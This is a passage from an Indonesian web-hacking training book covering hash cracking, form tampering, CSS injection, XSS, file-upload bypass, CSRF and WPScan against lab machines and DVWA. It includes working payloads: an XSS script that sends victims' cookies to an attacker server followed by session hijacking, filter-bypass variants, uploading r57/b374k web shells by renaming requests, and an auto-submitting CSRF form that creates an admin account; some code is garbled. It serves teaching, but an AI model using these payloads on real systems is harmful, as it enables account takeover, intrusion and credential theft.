root@dhcppc4:/home/xor# echo -n A >> program
root@dhcppc4:/home/xor# cat program
Aroot@dhcppc4:/home/xor# python xor.py program sandi s
root@dhcppc4:/home/xor# cat sandi
2root@dhcppc4:/home/xor# python xor.py sandi plain s
root@dhcppc4:/home/xor# cat plain
Aroot@dhcppc4:/home/xor#
```

Contoh prakteknya

Sumber : https://samsclass.info/124/proj14/pxor.htm

33.4 Fungsi Hash

Fungsi Hash merupakan fungsi yang menerima masukan string yang panjangnya sembarang kemudian mentransformasikannya menjadi string keluaran yang panjangnya tetap (fixed) dan umumnya berukuran jauh lebih kecil daripada ukuran string semula. Di samping ini merupakan skema fungsi hash di mana ukuran dari masukan sembarang, namun menghasilkan output yang ukurannya tetap.

Penggunaan fungsi hash sangat mudah dijumpai, sebagai contoh adalah pencocokan kunci antara client dan server. Sistem akan membandingkan nilai hash kunci yang dimasukkan pengguna dengan nilai hash yang tersimpan pada server. Jadi, informasi yang dipertukarkan tidak berupa pesan asli.

Pada fungsi hash terdapat istilah fungsi hash satu arah (one way function) yang merupakan fungsi hash yang bekerja dalam satu arah. Artinya pesan yang sudah diubah menjadi message digest tidak dapat dikembalikan lagi menjadi pesan semula (irreversible).

http://sharingilmu.web.id/317/

Untuk memahami MD5 bukan enkripsi dapat membaca tulisan yang ditulis oleh Rizki Wicaksono

Seringkali orang menganggap MD5 sebagai enkripsi. Memang MD5 dipakai dalam kriptografi, namun MD5 bukanlah algoritma enkripsi. Enkripsi mengubah plain-text menjadi ciphertext yang ukurannya berbanding lurus dengan ukuran file aslinya. Semakin panjang plain-text maka hasil enkripsinya juga semakin panjang. Hasil enkripsi bisa dikembalikan ke plain-text semula dengan proses dekripsi. Jadi enkripsi adalah fungsi dua arah dan reversible. Selain itu dalam enkripsi dibutuhkan kunci, tanpa kunci itu namanya bukan enkripsi, melainkan hanya encoding/decoding.

Berbeda dengan enkripsi, fungsi hash tidak butuh kunci dan sifatnya hanya satu arah, yaitu dari teks masukan menjadi nilai hash yang panjangnya selalu sama. Setelah menjadi nilai hash, tidak ada fungsi yang bisa mengembalikan nilai hash itu menjadi teks semula.

Sumber : http://www.ilmuhacking.com/cryptography/md5-itu-berbahaya/

Dalam penggunaan fungsi hash bisa digunakan untuk secara unik mengidentifikasi integritas suatu file.

Contoh di sini akan dipraktekkan dengan menggunakan program WinMD5Free

WinMD5Free is a tiny and fast utility to compute MD5 hash value for files. It works with Microsoft Windows 98, Me, 2000, XP, 2003, Vista and Windows 7.

Sumber : http://www.winmd5.com

WinMD5Free

WinMD5Free is a tiny and fast utility to compute MD5 hash value for files. It works with Microsoft Windows 98, Me, 2000, XP, 2003, Vista and Windows 7.

Download (only 249KB):

WinMD5 Freeware Download

WinMD5Free.zip MD5: 73f48840b60ab6da68b03acd322445ee

WinMD5Free.exe MD5: 944a1e869969dd8a4b64ca5e6ebc209a

You may simply download it, then unzip and put the exe to any folder on y

Di sini download program WinMD5

Program dijalankan

Klik Browse

Misal winmd5free.zip

Didapatkan MD5 Checksum value : 73f48840b60ab6da68b03acd322445ee

Masuk ke website MD5free, copy nilai MD5 seperti di atas

Paste pada input di atas lalu klik Verify

Hasilnya adalah Matched.

Jika tidak sama maka hasilnya akan berbeda, misal pada angka hash pertama diganti dengan 5.

7 diganti dengan 5

Saat diklik verify maka munculnya pesan NOT Matched!

Selain untuk melakukan verifikasi integritas pada suatu file juga dapat untuk mengamankan password yang ada di dalam database.

Contoh :

Dalam database password dalam bentuk teks asli tidak bisa dilihat

Contoh cracking

Login dengan username : admin, passwordnya 12345

Barhasil masuk ke halaman login

Contoh membuat md5 hash dengan MD5 generate

```
C:\Users>cd..

C:\>cd python27

C:\Python27>dir md5*
 Volume in drive C has no label.
 Volume Serial Number is AC0C-BE7D

 Directory of C:\Python27

07/22/2008  12:58 AM               576 md5cr
07/22/2008  12:58 AM               216 md5ge
07/22/2008  12:59 AM             1,132 md5wo
               3 File(s)          1,924 byte
               0 Dir(s)   3,412,144,128 byte

C:\Python27>python md5gen.py
Usage: ./md5gen.py <password>

C:\Python27>python md5gen.py 12345

Your password hash:
827ccb0eea8a706c4c34a16891f84e7b

C:\Python27>
```

```
root@dhcppc4:~# hash-identifier
   ##########################################
   #     __  __                    __       #
   #    /\ \/\ \                  /\ \      #
   #    \ \ \_\ \      __      ____ \ \ \_   #
   #     \ \    _  \  /'__`\   / ,__\ \ \ \  #
   #      \ \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\  #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/  #
   #                                          #
   #                                          #
   #                                          #
   ##########################################

   --------------------------------------
 HASH: 827ccb0eea8a706c4c34a16891f84e7b
```

Perintah di kali linux untuk mengetahui jenius fungsi pada suatu hash perintahnya adalah hash-identifier.

```
   #        \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #         \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.1 #
   #                                                          By Zion3R #
   #                                                 www.Blackploit.com #
   #                                                Root@Blackploit.com #
   ##########################################################################

   --------------------------------------------------------------------------
 HASH: 827ccb0eea8a706c4c34a16891f84e7b

Possible Hashs:
[+]  MD5
[+]  Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
```

Jika sudah mengetahui fungsi hash nya adalah MD5 maka dapat menggunakan findmyhash MD5 untuk cracking. Contoh perintahnya findmyhash MD5 -h 827ccb0eea8a706c4c34a16891f84e7b.

```
root@dhcppc4:~# findmyhash MD5 -h 827ccb0eea8a706c4c34a16891f84e7b

Cracking hash: 827ccb0eea8a706c4c34a16891f84e7b

Analyzing with hashcrack (http://hashcrack.com)...
... hash not found in hashcrack

Analyzing with c0llision (http://www.c0llision.net)...
... hash not found in c0llision

Analyzing with cmd5 (http://www.cmd5.org)...
... hash not found in cmd5
```

```
Analyzing with md5-db (http://md5-db.de)...
... hash not found in md5-db

Analyzing with my-addr (http://md5.my-addr.com)...

***** HASH CRACKED!! *****
The original string is: 12345


The following hashes were cracked:
----------------------------------

827ccb0eea8a706c4c34a16891f84e7b -> 12345

root@dhcppc4:~#
```

Contoh hasil crack dengan findmyhash.

```
C:\Python27>python md5crack.py
Usage: ./md5crack.py <hash> <wordlist>

C:\Python27>python md5crack.py 827ccb0eea8a706c4c34a16891f84e7b pass.txt

5 words loaded...
Password is: 12345


C:\Python27>
```

Jika ingin menggunakan wordlist sendiri maka dapat menggunakan md5crack.py yang ada dalam training.

Bab 34

HTTP Methods

HTTP Methods: GET vs. POST

The two most used HTTP methods are: GET and POST.

What is HTTP?

The Hypertext Transfer Protocol (HTTP) is designed to enable communications between clients and servers.

HTTP works as a request-response protocol between a client and server.

A web browser may be the client, and an application on a computer that hosts a web site may be the server.

Example: A client (browser) submits an HTTP request to the server; then the server returns a response to the client. The response contains status information about the request and may also contain the requested content.

Two HTTP Request Methods: GET and POST

Two commonly used methods for a request-response between a client and server are: GET and POST.

GET - Requests data from a specified resource

POST - Submits data to be processed to a specified resource

Sumber :

W3schools.com - http://www.w3schools.com/tags/ref_httpmethods.asp

Contoh metode post?

Nilai.html

```
<html>
<head>
<title>Contoh form dengan method POST</title>
</head>
<body>
<form id="form" name="form" method="post" action="show.php">
<p>Nilai yang ingin anda berikan <select size="1" name="nilai">
<option selected>C</option>
<option>D</option>
</select></p>
<input name="submit" type="submit" value="Submit" />
</form>
</body>
</html>
```

Show.php

```
<?php
$nilai = $_POST['nilai'];
echo "Nilai kamu adalah <b>$nilai</b> <br /> Terima kasih</b>";
?>
```

Cara hack :

Kita membuat halaman HTML baru lalu dimasukkan option baru agar ada pilihan A dan B.

Latihan

http://192.168.1.32/dudul/nilai.html

Contoh metode get

Nilai2.html

```
<html>
<head>
<title>Contoh form dengan method GET</title>
</head>
<body>
<form id="form" name="form" method="get" action="show2.php">
<p>Nilai yang ingin anda berikan <select size="1" name="nilai">
<option selected>C</option>
<option>D</option>
</select></p>
<input name="submit" type="submit" value="Submit" />
</form>
</body>
</html>
```

Show2.php

```
<?php
$nilai = $_GET['nilai'];
echo "Nilai kamu adalah <b>$nilai</b> <br /> Terima kasih</b>";
?>
```

Cara hack :

http://192.168.1.32/dudul/show2.php?nilai=A&submit=Submit

Latihan

http://192.168.1.32/dudul/nilai2.html

Bab 35

CSS Injection

CSS is a language that describes the style of an HTML document. CSS describes how HTML elements should be displayed.

Sumber : www.w3schools.com/css

Cascading Style Sheet (CSS) merupakan aturan untuk mengatur beberapa komponen dalam sebuah web sehingga akan lebih terstruktur dan seragam. CSS bukan merupakan bahasa pemograman.

CSS dapat mengendalikan ukuran gambar, warna bagian tubuh pada teks, warna tabel, ukuran border, warna border, warna hyperlink, warna mouse over, spasi antar paragraf, spasi antar teks, margin kiri, kanan, atas, bawah, dan parameter lainnya. CSS adalah bahasa style sheet yang digunakan untuk mengatur tampilan dokumen. Dengan adanya CSS memungkinkan kita untuk menampilkan halaman yang sama dengan format yang berbeda.

Sumber : https://id.wikipedia.org/wiki/Cascading_Style_Sheets

A CSS Injection vulnerability involves the ability to inject arbitrary CSS code in the context of a trusted web site, and this will be rendered inside the victim's browser. The impact of such a vulnerability may vary on the basis of the supplied CSS payload: it could lead to Cross-Site Scripting in particular circumstances, to data exfiltration in the sense of extracting sensitive data or to UI modifications.

Sumber : https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)

Contoh :

form.html

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Buku tamu sederhana</title>
<style type="text/css">
body {
        background-color: #CCC;
}
</style>
</head>

<body>
<center>
 <p><strong>Buku tamu sederhana</strong></p>
 <form method='post' action='comment.php>
  Komentar : <textarea name='comment'></textarea><br />
   Ukuran font :
   <select name='ukuranfont'>
    <option value='8px'>8 pixel</option>
      <option value='14px'>14 pixel</option>
      <option value='26px'>26 pixel</option>
                    </select>
   <br />
   <input type='submit' value='Kirim' />
</form>
 <p>Untuk lihat isi buku tamu <a href="db.html">klik di sini</a></p>
</center>
</body>
</html>
-size:$besar_font'>$komentar</div>";

?>
```

comment.php

```
<?php
$comment = $_POST['comment'];
$ukuranfont = $_POST['ukuranfont'];
$fp = fopen("db.html", 'a');
    fwrite($fp, "<div style='font-size:$ukuranfont'>$comment</div>");
    fclose($fp);
echo "<div style='font-size:$ukuranfont'>$comment</div>";
?>
```

Tampilan form

Tampilan sebelum diinputkan

tesing 1

Hasilnya setelah dimasukkan

192.168.1.9/db.html

keren

testing

tesing 1

Tampilan di db.html

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xht
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Buku tamu sederhana</title>
<style type="text/css">
body {
    background-color: #CCC;
}
</style>
</head>

<body>
<center>
  <p><strong>Buku tamu sederhana</strong></p>
  <form method='post' action='http://192.168.1.9/comment.php'>
    Komentar : <textarea name='comment'></textarea><br />
    Ukuran font :
    <select name='ukuranfont'>
      <option value='8px'>8 pixel</option>
        <option value='14px'>14 pixel</option>
        <option value='92px;color:#FF0000;font-weight:bold;background-color:blue;text-align:center
    <br />
    <input type='submit' value='Kirim' />
</form>
  <p>Untuk lihat isi buku tamu <a href="db.html">klik disini</a></p>
</center>
</body>
</html>
```

Attacker mengambil source code lalu membuat file baru dengan pengeditan seperti di atas

file:///E:/formtesting.html

Search

Buku tamu sederhana

Komentar : Testing 2

Ukuran font : 26 pixel

Kirim

Untuk lihat isi buku tamu klik disini

Sebelum diinputkan

Setelah diinputkan

Hasilnya di file db.html

Pengamanan :

```
<?php
$comment = $_POST['comment'];
$ukuranfont = $_POST['ukuranfont'];
$font_size_allowed = array("8px","14px","26px");
$ukuranfont = explode(";",$ukuranfont);
$ukuranfont = $ukuranfont[0];
$ukuranfont = in_array($ukuranfont, $font_size_allowed)? $ukuranfont : $font_size_allowed[0];
$fp = fopen("db.html", 'a');
    fwrite($fp, "<div style='font-size:$ukuranfont'>$comment</div>");
    fclose($fp);
echo "<div style='font-size:$ukuranfont'>$comment</div>";
```

Bab 36

XSS (Cross site Scripting)

36.1 XSS

XSS merupakan kependekan yang digunakan untuk istilah cross site scripting.

XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/XSS

36.2 XSS non persistent

Reflected XSS merupakan tipe XSS yang paling umum dan yang paling mudah dilakukan oleh penyerang. Penyerang menggunakan social engineering agar tautan dengan kode berbahaya ini diklik oleh pengguna. Dengan cara ini penyerang bisa mendapatkan cookie pengguna yang bisa digunakan selanjutnya untuk membajak session pengguna.

Mekanisme pertahanan menghadapi serangan ini adalah dengan melakukan validasi input sebelum menampilkan data apapun yang di-generate oleh pengguna. Jangan percayai apapun data yang dikirim oleh pengguna.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/XSS

Contoh

Buat file :

```
<?php
echo 'Selamat Datang' . $_GET['xcode'];
?>
```

Simpan dengan nama xss.php

Lalu jalankan

http://localhost/dudul/xss.php?xcode=<script>alert("XSS")</script>

Untuk pengamanan :

```
<?php
echo 'Selamat Datang' . strip_tags($_GET['xcode']);
?>
```

Fungsi strip_tags() digunakan untuk menghapus kode-kode PHP dan HTML.

Contoh pada CMS

http://192.168.1.32/blogphp

Di tes file index.php dengan variabel search di masukkan inputan kode html.

http://192.168.1.32/blogphp/index.php?search=%22%3E%3C/title%3E%3Cmarquee%20bgcolor=%22red%22%3E%3CH2%3EKurniawan%20ganteng%3C/H2%3E%3C/marquee%3E

Hasilnya :

http://192.168.1.32/blogphp/index.php?search=%22%3E%3C/TITLE%3E%3CIFRAME%20src=http://xcode.or.id%3E%3CIFRAME%3E

36.3 Wapiti

Wapiti allows you to audit the security of your web applications. It performs "black-box" scans, i.e. it does not study the source code of the application but will scans the webpages of the deployed webapp, looking for scripts and forms where it can inject data.

Sumber : wapiti.sourceforge.net - http://wapiti.sourceforge.net

Latihan : Scan pada wcms

```
root@kali: ~
File  Edit  View  Search  Terminal  Help
-----------------------

Attacking forms (POST)...
-------------------------

Looking for permanent XSS
-------------------------
root@kali:~# wapiti http://192.168.1.105/wcms
Wapiti-1.1.6 (wapiti.sourceforge.net)
.......................................................................
.......................................................................
.......................................................................
.......................................................................
...............
Attacking urls (GET)...
-----------------------
XSS (p) in http://192.168.1.105/wcms/
        Evil url: http://192.168.1.105/wcms/?p=<script>var+wapiti_687474703a2f2f
3139322e3136382e312e3130352f77636d732f_70=new+Boolean();</script>&PHPSESSID=29f8
1bcc5fd19d1e46051f0a68d4d79d
XSS (p) in http://192.168.1.105/wcms/
        Evil url: http://192.168.1.105/wcms/?p=<script>var+wapiti_687474703a2f2f
3139322e3136382e312e3130352f77636d732f_70=new+Boolean();</script>&bid=1&PHPSESSI
D=661e93772a52e8541ab3f23861642967
```

http://192.168.1.32/foecms
http://192.168.1.32/fobuc

Mengenal DVWA untuk belajar eksploitasi XSS non persistent lebih dalam dengan berbagai variasi injection

Jika target Low security

<script>alert("testing")</script>

Hasilnya

Jika target Medium Security

Tidak mempan jika dimasukkan <script>alert("testing")</script>

Mempan jika scriptnya seperti ini

<sCrIpT>alert("testing")</sCrIpT>

Jika target High Security

Tidak mempan jika dimasukkan <script>alert("testing")</script>

Tidak mempan jika dimasukkan <sCrIpT>alert("testing")</sCrIpT>

Mempan jika dimasukkan <img src=x onerror=alert("testing")>

36.4 XSS Persistent

Stored XSS lebih jarang ditemui dan dampak serangannya lebih besar. Sebuah serangan stored XSS dapat berakibat pada seluruh pengguna. Stored XSS terjadi saat pengguna diizinkan untuk memasukkan data yang akan ditampilkan kembali. Contohnya adalah pada message board, buku tamu, dll. Penyerang memasukkan kode HTML atau client script code lainnya pada posting mereka.

Serangan ini lebih menakutkan. Mekanisme pertahanannya sama dengan reflected XSS: jika pengguna diizinkan untuk memasukkan data, lakukan validasi sebelum disimpan pada aplikasi.

Contohnya target kita adalah CMS Max Guestbook, CMS ini tidak ada databasenya, hasil rekaman disimpan di web server.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/XSS

Di sini penulis mencoba melakukan inputan pada “Name”, di sini inputannya adalah :

```
<script>alert('Kurniawan memang ganteng')</script>
```

Seperti di bawah ini :

Hasilnya adalah

Ketika pengunjung lain masuk ke buku tamu tersebut maka pesan alert “Kurniawan memang ganteng” tetap muncul karena inputan HTML yang penulis lakukan tersimpan dalam web server.

Sekarang kita coba dengan

<script>document.location=’http://xcode.or.id/sample.html’;</script>

Maka hasilnya buku tamu akan melakukan redirect ke http://xcode.or.id/sample.html

Dengan demikian maka kesimpulannya adalah XSS stored atau Persistent mempunyai efek serangan yang lebih besar dibandingkan dengan XSS sifatnya reflected atau non persistent.

Ultra Light Forum

Ultra Light Forum Persistant XSS Vulnerability

http://www.exploit-db.com/exploits/24501/

1. http://192.168.1.32 /forum

2. Daftar baru

3. Buat topik

3. Masuk dalam settings, inputkan <script>alert("XSS")</script> di message untuk mengetahui secara praktek bahwa target mempunyai celah XSS Persistent

Forum terbukti mempunyai celah XSS Persistent

Pengembangan serangan dengan mengambil cookie yang membuka profile dan login ke account yang membuka halaman profile attacker :

Tambahkan script di bawah ini, alaman dapat disesuaikan tempat anda menyimpan file scriptcokie.php

<script>document.write('<img src="http://192.168.1.127/scriptcokie.php?cookie=' + document.cookie + '" />')</script>

Saat target membuka halaman profile maka cookie nya akan dikirim ke server kita.

Di bawah ini adalah hasil cookie yang didapat.

```
192.168.1.39 | PORT: 1101 | HOST:  | Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.1.8) Gecko/20071008 Firefox/2.0.0.8 | METHOD:  | REF:
http://192.168.1.32/forum/profile_details.php | DATE: Monday 29th 2016f August
2016 12:39:23 AM | COOKIE: cookie=PHPSESSID=f292b4819410bd3f57669397c4d50c54
```

Masukkan cookie yang didapat ke Cookies Manager+

Save

Setelah di save dan melakukan refresh maka kita sudah berada dalam account target, tanpa memasukkkan username dan password.

Mengenal DVWA untuk belajar eksploitasi XSS persistent lebih dalam dengan berbagai variasi injection

Jika target low security

Masukkan <script>alert("123")</script> pada message

Hasilnya

Jika target medium security

Serangan <script>alert("123")</script> tidak mempan

DVWA
Vulnerability: Stored Cross Site Scripti
Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
File Upload
Insecure CAPTCHA
SQL Injection
SQL Injection (Blind)
Name *
Message *
Sign Gues
Undo
Cut
Copy
Paste
Delete
Select All
Add a Keyword for this Search...
Check Spelling
Inspect Element (Q)
Name: data
Message: alert(\"123\")
Name: data
Message: Click me ! \">

Inspector
Console
Debugger
Style Editor
Performance
Network
tainer
div#main_body
div.body_padded
div.vulnerable_code_area
form
table
tbody
tr
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.
<html xmlns="http://www.w3.org/1999/xhtml">
<head></head>
<body class="home">

<h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1>

<form method="post" name="guestform" onsubmit="return validate_form(this)">
<table width="550" border="0" cellpadding="2" cellspacing="1">
<tbody>
<tr>
<td width="100">Name *</td>
<td>
<input name="txtName" size="30" maxlength="100" type="text"></input>
</td>
</tr>
<tr></tr>
<tr></tr>
</tbody>

Vulnerability: Stored Cross Site Scripting (XS
Home
Instructions
Setup / Reset DB
Brute Force
Command Injection
CSRF
File Inclusion
Name *
!</a> "><img src=x onerror=alert(123)>
Message *
apa ya
Sign Guestbook

Masukkan dibawah ini pada Name :

<a href=test.html onClick=alert(document.cookie)>Click me !</a>

"><img src=x onerror=alert(123)>

Hasilnya seperti di atas

Materi sisipan

Scanning XSS dengan Uniscan

```
root@kalibr:/usr/share/uniscan# uniscan -u http://192.168.1.32/blogphp -ds
####################################
# Uniscan project                  #
# http://uniscan.sourceforge.net/  #
####################################
V. 6.3


Scan date: 26-12-2017 3:48:24
=================================================================================================
 Domain: http://192.168.1.32/blogphp/
 Server: Apache/2.2.9 (Win32) DAV/2 mod_ssl/2.2.9 OpenSSL/0.9.8h mod_autoindex_color PHP/5.2.6
 IP: 192.168.1.32
=================================================================================================

 Crawler Started:
 Plugin name: E-mail Detection v.1.1 Loaded.
 Plugin name: External Host Detect v.1.2 Loaded.
 Plugin name: phpinfo() Disclosure v.1 Loaded.
 Plugin name: Upload Form Detect v.1.1 Loaded.
 Plugin name: FCKeditor upload test v.1 Loaded.
 Plugin name: Code Disclosure v.1.1 Loaded.
 Plugin name: Timthumb <= 1.32 vulnerability v.1 Loaded.
 Plugin name: Web Backdoor Disclosure v.1.1 Loaded.
 [+] Crawling finished, 17 URL's found!

 E-mails:

 External hosts:
```

Materi sisipan

Scanning bug web dengan Nessus

Untuk cara menggunakan Nessus ada di materi sebelumnya tentang scanning dengan nessus

Pilih New Scan

Plih Web Application test

Isi seperti di atas

Scanning sedang dilakukan

Hasilnya seperti di atas

Dari hasil scanning lebih banyak tentang info

Nessus berhasil mendapatkan backdoor PHP Shell C99

Hasilnya jika diakses

Selain itu juga Nessus berhasil menemukan keberadaan browsable Web Directories

192.168.1.172/blog/

Index of /blog

Name	Last modified	Size	Description
Parent Directory		-	
perlcritic.lnk	09-Mar-2013 14:03	186	
wordpress/	09-May-2016 01:11	-	

Apache/2.2.22 (Ubuntu) Server at 192.168.1.172 Port 80

Jika browsable Web Directories dilakukan hasilnya seperti di atas

Bab 37
Eksploitasi file upload form

Bypass filter upload dengan tamper data

Di sini akan belajar bypass filter pada upload dengan tamper data.

Target di sini menggunakan form upload, disitu digunakan tag input dengan atribut type=”file” yaitu objek form yang digunakan untuk upload file.

Di sini contoh source code form upload dengan pemroses PHP nya untuk upload sekaligus dalam 1 file.

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>Web upload</title>

<style type="text/css">

body {

        background-color: #CCC;

}

</style>

</head>


<body>

<center>

<form enctype="multipart/form-data" action="<?php echo $_SERVER['../PHP_SELF']; ?>"
method="POST">

Gambar yang ingin diupload : <input name="file" type="file" /><input type="submit"
value="Upload" /></form>


<?php

if (!empty($_FILES["file"]))
```

```
{
   if ($_FILES["file"]["error"] > 0)
      {
  echo "Error: " . $_FILES["file"]["error"];
 }
   else
     {
  $mime = $_FILES['file']['type'];
  if (strpos($mime,'image') !== false) {
   echo "<h2>Upload sukses <a href='./images/".$_FILES["file"]["name"]."'>Klik di sini jika ingin
melihat file kamu</a><h2>".$mime;
   move_uploaded_file($_FILES["file"]["tmp_name"],"./images/".$_FILES["file"]["name"]);
  } else {
   echo "<h2>Tidak boleh upload selain file image</h2>".$mime;
  }
     }
}
?>
</center>
</body>
</html>
```

http://192.168.1.9/uploadaja.php

Upload file dengan format jpg

Berhasil diupload

File dengan format jpg yang diupload bisa dibuka

Berikutnya diuji untuk upload php shell

r57.php segera diupload

Hasilnya muncul pesan di atas bahwa selain file image tidak diperboleh diupload

Gunakan add on tamper data untuk mengakali upload

https://addons.mozilla.org/en-US/firefox/addon/tamper-data/

Rename file r57.php menjadi r57.php.jpg

Upload file r57.php.jpg

File r57.php.jpg siap diupload

Pilih Tools lalu pilih Tamper Data

Klik Start Tamper

Tampilannya setelah Start tamper

Klik Tamper

Rename file r57.php.jpg menjadi r57.php

Hasil rename seperti di atas

Berhasil diupload

Hasilnya

Untuk pengamanan buat .htaccess dengan isi

<FilesMatch "(?i)\.(php|php3?|phtml|html|txt)$">

Order Deny,Allow

Deny from All

</FilesMatch>

Mengenal DVWA untuk belajar eksploitasi file upload lebih dalam dengan berbagai variasi

Jika target low security

Upload file b374k.php secara biasa

Jika target low security

Upload file b374k.php dengan menggunakan tamper data

Bab 38

CSRF (Cross-Site Request Forgery)

38.1 CSRF (Cross-Site Request Forgery)

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

Sumber : owasp.org - https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

Inti perbedaannya, XSS mengeksploitasi sisi client (melalui web browser) sedangkan CSRF mengeksploitasi sisi server (situs).

38.2 Front Accounting

http://192.168.1.32/front/frontaccounting/

Pengamanan

Jangan lupa melakukan log out setelah usai menggunakan layanan di Internet, akseslah hanya web-web yang terpecaya, gunakan perambah (browser) yang berbeda untuk mengakses layanan yang anda percaya.

Celah keamanan banyak di temukan di berbagai CMS, contohnya CMS VCalendar.

Penulis buat sebuah cerita agar mudah di mengerti, ada seorang admin memiliki situs yang dibangun dengan VCalendar, suatu saat dia login ke halaman administrator.

Setelah si admin login dan masuk ke menu pilihan user maka akan tampil para user di situs tersebut.

Users

Total Records: 3

ID	Login	First Name	Last Name	Level	E-Mail	Date Add	Last Login	Active
1	admin	Admin	Admin	Admin	admin@company.com		2011-06-19 15:50:00	Yes
2	user	user	user	User	user@company.com			Yes
4	dewi	test	test	Admin	test@test.com		2011-05-13 12:37:13	Yes

Add New 1 of 1

Terlihat ada 3 buah account, pada saat itu juga diminta oleh seseorang temannya untuk membuka suatu halaman situs.

vcalendar - Notepad

File Edit Format View Help

```
?ccsForm=users_maint" method="post" name="main" />
<input type="hidden" name="user_login" value="cobacoba"/>
<input type="hidden" name="user_password" value="coba123"/>
<input type="hidden" name="user_level" value="100"/>
<input type="hidden" name="user_email"
value="cobat@cobacsrf.com"/>
<script type="text/javascript">
/* <![CDATA[ */
(function(){try{var
s,a,i,j,r,c,l=document.getElementById("__cf_email__");a=l.classN
ame;if(a){s='';r=parseInt(a.substr(0,2),16);for(j=2;a.length-
j;j+=2){c=parseInt(a.substr(j,2),16)^r;s+=String.fromCharCode(c)
;}s=document.createTextNode(s);l.parentNode.replaceChild(s,l)
;}}catch(e){}})();
/* ]]> */
</script>"/>
<input type="hidden" name="user_first_name" value="mr coba"/>
<input type="hidden" name="user_last_name" value="nyoba"/>
<input type="hidden" name="user_is_approved" value="1"/>
<input type="hidden" name="user_date_add_h" value=""/>
<input type="submit" id="btn" name="submit" value="Submit
â€°â€°">
</form>
<script>
document.getElementById('btn').click();
```

Saat admin melakukan klik tiba-tiba muncul halaman daftar user untuk login.

Users

Total Records: 4

ID	Login	First Name	Last Name	Level	E-Mail	Date Add	Last Login	Active
1	admin	Admin	Admin	Admin	admin@company.com		2011-06-19 15:50:00	Yes
2	user	user	user	User	user@company.com			Yes
4	dewi	test	test	Admin	test@test.com		2011-05-13 12:37:13	Yes
5	cobacoba	mr coba	nyoba	Admin	cobat@cobacsrf.com			Yes

Add New 1 of 1

Dengan ditambahnya user secara otomatis ke halaman administrator, maka temannya si admin yang menjebak dapat melakukan login dengan account tersebut.

Referensi :
http://www.exploit-db.com/exploits/17251

Bab 39

WPSCAN

WPScan is a black box WordPress vulnerability scanner.

Sumber : wpscan.org - http://wpscan.org/

39.1 Penggunaan WPSCAN untuk mencari bug dan exploit

```
t@kali:~# wpscan --url 192.168.1.105/blog/wordpress
_____________________________________________________
          _______  _____
\        / /  __ \ / ____|
 \  /\  / /| |__) | (___   ___  __ _ _ __
  \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
   \  /\  /  | |     ____) | (__| (_| | | | |
    \/  \/   |_|    |_____/ \___|\__,_|_|_| |_| v2.0rNA

  WordPress Security Scanner by the WPScan Team
onsored by the RandomStorm Open Source Initiative
_____________________________________________________

RL: http://192.168.1.105/blog/wordpress/
tarted on Thu Apr 11 17:46:40 2013

  The WordPress theme in use is twentyten
  The WordPress 'http://192.168.1.105/blog/wordpress/readme.html' file exists
  Full Path Disclosure (FPD) in 'http://192.168.1.105/blog/wordpress/wp-includ
rss-functions.php'
  XML-RPC Interface available under http://toko-online.com/blog/wordpress/xmlr
.php
  WordPress version 3.1.1 identified from meta generator

  We have identified 2 vulnerabilities from the version number :

* Title: WordPress wp-includes/formatting.php make_clickable() PCRE Library R
```

wpscan --url 192.168.1.105/blog/wordpress

```
Name: forum-server
Location: http://192.168.1.105/blog/wordpress/wp-content/plugins/forum-server


[!] WP Forum Server 1.6.5 SQL Injection Vulnerability
* Reference: http://www.exploit-db.com/exploits/16235/

[!] WP Forum Server plugin = 1.7 SQL Injection Vulnerability
* Reference: http://www.exploit-db.com/exploits/17828/

[!] WP Forum Server plugin = 1.7.3 SQL Injection / XSS Vulnerabilities
* Reference: http://www.packetstormsecurity.org/files/112703

Name: thecartpress
Location: http://192.168.1.105/blog/wordpress/wp-content/plugins/thecartpress


[!] TheCartPress = 1.6 Cross Site Sripting
* Reference: http://packetstormsecurity.org/files/108272/

[!] TheCartPress 1.1.1 Remote File Inclusion
